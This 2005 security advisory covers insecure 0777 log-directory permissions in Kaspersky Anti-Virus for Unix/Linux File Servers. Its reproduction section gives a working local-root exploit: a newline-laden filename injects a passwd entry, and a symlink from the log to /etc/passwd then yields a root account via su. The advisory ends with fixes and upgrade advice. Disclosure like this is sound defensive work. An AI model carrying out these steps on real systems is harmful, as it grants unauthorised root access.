FYI, a new version is already available and a proposed workaround is described at the end of the advisory. Peter URLs for this document: ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt (TXT) (P) & (C) 2005 AERAsec Network Services and Security GmbH The information in this advisory may be freely distributed or reproduced, provided that the advisory is not modified in any way. Author: Dr. Peter Bieringer Contact: info at aerasec dot de Version: 2005-08-12 Title: Insecure directory permissions of default installation of Kaspersky Anti-Virus for Unix/Linux File Servers will lead to local root exploit Description: Because of insecure permissions (777) of the kav log directory, any unprivileged local user is able to remove the log file and replace it with a symlink. Because of file names beeing logged, a symlink pointing to /etc/passwd can be used to create additional users with root permissions and empty password. Additional URLs: Change Log: 2005-06-14: initial version (internal) 2005-07-29: update because of availability of new version (internal) Vendor notification/information: 2005-04-19: to support@kaspersky.com about insecure permissions in general in version 5.0-5 -> no reaction 2005-04-29: to German techsupport about insecure permissions in general in version 5.0-5 -> got insuffient answer at 2005-05-11 2005-06-14: to support@kaspersky.com about a possible local-root exploit in version 5.5-2 -> got response on 2005-06-15 2005-07-26: got new version 5.5-3 from vendor for testing 2005-08-12: minor review before publishing Tested version: =============== kav4fileservers-linux-5.5-2.i386.rpm URL: ftp://ftp.kaspersky.com/products/release/english/businessoptimal/file_servers/kavlinuxserver/ Probably also affected versions: kav4fileservers-linux-5.0-5.i386.rpm kav4mailservers-linux-* How to reproduce: ================= 1) Install software: -------------------- # rpm -ihv kav4fileservers-linux-5.5-2.i386.rpm Preparing... ########################################### [100%] 1:kav4fileservers-linux ########################################### [100%] Kaspersky Anti-Virus for Unix has been installed successfully but needs to be properly configured before using. Unfortunately, RPM is not able to run scripts interactively, so please run /opt/kav/5.5/kav4unix/setup/postinstall.pl script by yourself to configure it. 2) Configure software: ---------------------- # /opt/kav/5.5/kav4unix/setup/postinstall.pl Installing license files. License file (a file with .key extension) is your personal license key. You need to install it to use the application. To install it right now, just enter the path to the location of your license file (enter an empty string to continue without key file installation): . License file ./********.key has been installed Configuring KeepUp2Date proxy settings. If you use an http proxy server to access the Internet, you need to tell the Kaspersky Anti-Virus for Unix KeepUp2Date component about it. Please enter the address of your http proxy server in one of the following forms, http://proxyIP:port or http://user:pass@proxyIP:port. If you don't have or need a proxy server to access the Internet, enter 'no' here: Latest anti-virus bases are an essential part of your anti-virus protection. Do you want to download the latest anti-virus bases right now to insure your application is up to date? (If you answer 'yes', make sure you are connected to the Internet): [yes]: Running keepup2date to update your anti-virus database. Kaspersky KeepUp2Date 5.5.2/RELEASE build #98 Copyright (C) Kaspersky Lab, 1997-2005. Portions Copyright (C) Lan Crypto Configuration file: /etc/kav/5.5/kav4unix/kav4unix.conf Getting product configuration Getting updater configuration Checking product license keys Initializing Trying to update from 'http://ru2h.kaspersky-labs.com' Copying update description file Downloading remote file master.xml Checking update description file integrity Parsing update description file Downloading remote file kavset.xml Copying files Downloading remote file kavset.xml Downloading remote file avcmhk4.dll ... Checking license keys Downloading remote file ca.avc ... Checking new bases Standard AV bases are OK, latest update: 14-06-2005, total records: 126143. Extended AV bases are OK, latest update: 14-06-2005, total records: 133575. Redundant AV bases are OK, latest update: 14-06-2005, total records: 134617. Clearing reserve dir Replacing files Saving updater settings Saving updater settings Default Webmin configuration file was not found. This means that either Webmin is not installed at all, or is installed into a non-default location. Webmin (www.webmin.com) is a web-based interface for system administration for various Unix components. If you install it, you'll be able to configure and use Kaspersky Anti-Virus through the web interface. If you want to use this functionality, but haven't installed Webmin yet, you can skip this stage and install this module later using Webmin's built-in installation procedure. If you have Webmin installed in a non-default path, please enter the path to the location of the Webmin configuration file, or leave blank to skip? If you want to use this module later, you can install it using Webmin's own installation procedure. The module will be placed in /opt/kav/5.5/kav4unix/contrib/kavfs.wbm. Would you like to compile the kavmonitor module [Y]: Enter the linux kernel source path [/lib/modules/2.6.9-5.EL/build]: checking for gcc... gcc checking for C compiler default output... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ANSI C... none needed checking build system type... i686-pc-linux-gnu checking host system type... i686-pc-linux-gnu checking target system type... i686-pc-linux-gnu LSB_VERSION="1.3" checking for linux kernel sources... /lib/modules/2.6.9-5.EL/build checking for linux kernel version... 2.6 checking for vmlinux... "not found" checking for sys_close is exported... "yes" checking for do_execve is exported... no, do_execve address=0xc016f3b2 configure: creating ./config.status config.status: creating Makefile config.status: creating kavmon.h config.status: creating osdef.h config.status: creating module.linux/Makefile Cleaning module.linux make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux' rm -f **.o *.ko ../bin//kavmon.ko monitor_helpers.c kernel.c queue.c md5.c cache.c util.c cache.h kavmon.h kernel.h md5.h monitor.h monitor_helpers.h osdef.h queue.h util.h *.mod.c Makefile.in make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux' Making link in module.linux make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux' make -C /lib/modules/2.6.9-5.EL/build SUBDIRS=/opt/kav/5.5/kav4unix/src/module.linux modules make[2]: Entering directory `/usr/src/kernels/2.6.9-5.EL-i686' CC [M] /opt/kav/5.5/kav4unix/src/module.linux/utils.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/module.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface_monitor.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interface_exploit.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/interceptor.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/files.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/monitor_helpers.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/kernel.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/queue.o /opt/kav/5.5/kav4unix/src/module.linux/queue.c: In function `queue_read_interface': /opt/kav/5.5/kav4unix/src/module.linux/queue.c:450: warning: `interruptible_sleep_on' is deprecated (declared at include/linux/wait.h:290) CC [M] /opt/kav/5.5/kav4unix/src/module.linux/md5.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/cache.o CC [M] /opt/kav/5.5/kav4unix/src/module.linux/util.o LD [M] /opt/kav/5.5/kav4unix/src/module.linux/kavmon.o Building modules, stage 2. MODPOST CC /opt/kav/5.5/kav4unix/src/module.linux/kavmon.mod.o LD [M] /opt/kav/5.5/kav4unix/src/module.linux/kavmon.ko make[2]: Leaving directory `/usr/src/kernels/2.6.9-5.EL-i686' make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux' Kaspersky Anti-Virus for Unix is installed. Configuration file was installed in /etc/kav/5.5/kav4unix/kav4unix.conf Binaries were installed in /opt/kav/5.5/kav4unix/bin 3) Start kavmonitor ------------------- # /etc/rc.d/init.d/kavmonitor start kavmonitor started 4) Check permissions of log directory ------------------------------------- # stat /var/log/kav/5.5/kav4unix File: `/var/log/kav/5.5/kav4unix' Size: 4096 Blocks: 16 IO Block: 4096 directory Device: 301h/769d Inode: 229107 Links: 2 Access: (0777/drwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2005-06-14 13:53:37.263023968 +0200 Modify: 2005-06-14 13:53:19.987650224 +0200 Change: 2005-06-14 13:53:19.987650224 +0200 # ll /var/log/kav/5.5/kav4unix total 32 -rw-r--r-- 1 root root 1933 Jun 14 13:53 kavmonitor.log -rw-r--r-- 1 root root 18778 Jun 14 13:51 kavupdater.log -> Note the 0777/drwxrwxrwx of /var/log/kav/5.5/kav4unix 5) Prepare the attack --------------------- a) Setup an unprivileged local user, e.g. named "test": b) Switch to user "test": $ id uid=1001(test) gid=1001(test) groups=1001(test) c) Check whether "kavmonitor" is logging well: $ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log [14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bash_profile OPEN OK [14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bashrc OPEN OK [14/06/05 13:55:50 A] pid=7842 uid=1001 /bin/dd EXEC OK [14/06/05 13:55:50 A] pid=7842 uid=1001 /home/test/urandom-10k.bin CLOSE OK [14/06/05 13:56:05 A] pid=7844 uid=1001 /usr/bin/hexdump EXEC OK [14/06/05 13:56:06 A] pid=7844 uid=1001 /home/test/urandom-10k.bin OPEN OK [14/06/05 13:56:12 A] pid=7846 uid=1001 /usr/bin/head EXEC OK [14/06/05 13:56:24 A] pid=7847 uid=1001 /usr/bin/tail EXEC OK [14/06/05 13:56:24 A] pid=7847 uid=1001 /lib/tls/libm-2.3.4.so OPEN OK [14/06/05 13:56:24 A] pid=7847 uid=1001 /var/log/kav/5.5/kav4unix/kavmonitor.log OPEN OK -> Note that an unprivileged user can take a look at the log file. Nice to see which files other users are accessing during the time... d) Create a special file: $ echo "Test" > " hacker::0:0:hacker:: " -> Note that the line breaks are created by typing CTRL-V CTRL-J e) Take a look at the result: $ ll total 32 -rw-rw-r-- 1 test test 5 Jun 14 14:58 ?hacker::0:0:hacker::? f) Now access the file to see what kavmonitor will log: $ cat * Test $ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log ... [14/06/05 15:30:07 A] pid=27354 uid=1001 /home/test/ hacker::0:0:hacker:: OPEN OK -> Note that this looks very good now ;-) 6) Start the attack ------------------- a) Rename the log file, you can do this because of 0777 permissions of the directory $ mv /var/log/kav/5.5/kav4unix/kavmonitor.log /var/log/kav/5.5/kav4unix/kavmonitor.log.orig b) Create a symlink pointing to /etc/passwd $ ln -s /etc/passwd /var/log/kav/5.5/kav4unix/kavmonitor.log c) Wait until next system reboot or manual restart of "kavmonitor" -> Note that "kavmonitor" doesn't check whether the log file is a symlink or not, by default it opens the file for appending data. -> Watch the result $ tail -f /etc/passwd [14/06/05 15:42:30 I] There are 1 Kaspersky license keys found: [14/06/05 15:42:30 I] License file ********.key, serial ****-*****-********, "Kaspersky Anti-Virus Business Optimal for Linux File Server", expires **-**-2005 in *** days [14/06/05 15:42:31 A] pid=1984 uid=0 /etc/mtab OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/bin/tail EXEC OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/ld.so.cache OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libm-2.3.4.so OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/librt-2.3.4.so OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libc-2.3.4.so OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libpthread-2.3.4.so OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/lib/locale/locale-archive OPEN OK [14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/passwd OPEN OK [14/06/05 15:42:40 A] pid=1807 uid=0 /etc/group OPEN OK [14/06/05 15:42:40 A] pid=1807 uid=0 /etc/cups/certs/0 CLOSE OK -> Voila, one step before success d) Now access the file to see what kavmonitor will log again: $ cat * Test $ tail -f /etc/passwd ... [14/06/05 15:45:57 A] pid=27521 uid=1001 /home/test/ hacker::0:0:hacker:: OPEN OK -> Bingo, login/pam usually skip not proper looking entries, so the additional log lines don't cause any confusion. e) Switch to the new created user: $ su hacker sh-3.00# id uid=0(root) gid=0(root) groups=0(root) -> Take care, what you're doing now, because you have root permissions from now on ;-) How to protect against this attack: =================================== 1) Administrator related (in case update is not possible): ---------------------------------------------------------- a) Fix permissions of log directory (default: 0777) # chmod 750 /var/log/kav/5.5/kav4unix b) Fix permissions of licenses directory (default: 0777) # chmod 755 /var/db/kav/5.5/kav4unix/licenses -> Note that otherwise a malicious user can delete the key which prevent "keepup2date" from proper working 2) Vendor related: ------------------ * Upgrade to at least version 5.5-3. It introduces system user/group "kluser"/"klusers" and adjusted permissions to prevent normal users from running the exploit. The new installer already mentioned about this: Warning: some files/directories have insecure permissions. This is a big security risk. It leads to known local root exploit if any malicious user has access to this computer. We suggest to fix it by changing the permissions to 775 (or 770). Unfortunately that after the fix, you will not be able to run keepup2date from non-root user anymore. Answer 'Y' if you want fix the permissions now, 'N' if you want to left them intact, and '?' to see the list of directories and permissions/owners to be changed. Note that the new installer doesn't take care that "kluser"/"klusers" should be created at system user/group. At least Red Hat Linux systems would support this by using "-r". We suggest to create them *before* installing the new version - this prevents mix-up of uid/gid with normal users: # groupadd -r klusers # useradd -r -g klusers -s /sbin/nologin -d /var/db/kav kluser Then install the package If non-root user (like e.g. amavis) should be able to use "kavscanner", proper permissions need to be set after adding the user to the group "klusers": # chgrp klusers /var/db/kav/5.5 # chmod g+ws /var/db/kav/5.5 # touch /var/db/kav/5.5/ichecker.db # chmod g+w,o-rwx /var/db/kav/5.5/ichecker.db -- Dr. Peter Bieringer Phone: +49-8102-895190 AERAsec Network Services and Security GmbH Fax: +49-8102-895199 Wagenberger Strasse 1 D-85662 Hohenbrunn E-Mail: pbieringer@aerasec.de Germany Internet: http://www.aerasec.de